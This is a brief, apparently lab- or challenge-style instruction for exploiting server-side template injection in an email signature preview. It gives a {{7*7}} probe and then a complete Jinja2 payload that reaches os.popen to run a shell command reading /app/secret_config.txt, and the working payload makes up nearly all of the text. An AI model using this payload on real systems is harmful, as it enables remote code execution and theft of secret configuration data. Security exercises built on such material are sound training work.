Your email signature is rendered through the server template engine when previewed. Probe with {{7*7}}, then escalate to RCE and read /app/secret_config.txt: {{ config.__class__.__init__.__globals__['os'].popen('cat /app/secret_config.txt').read() }}.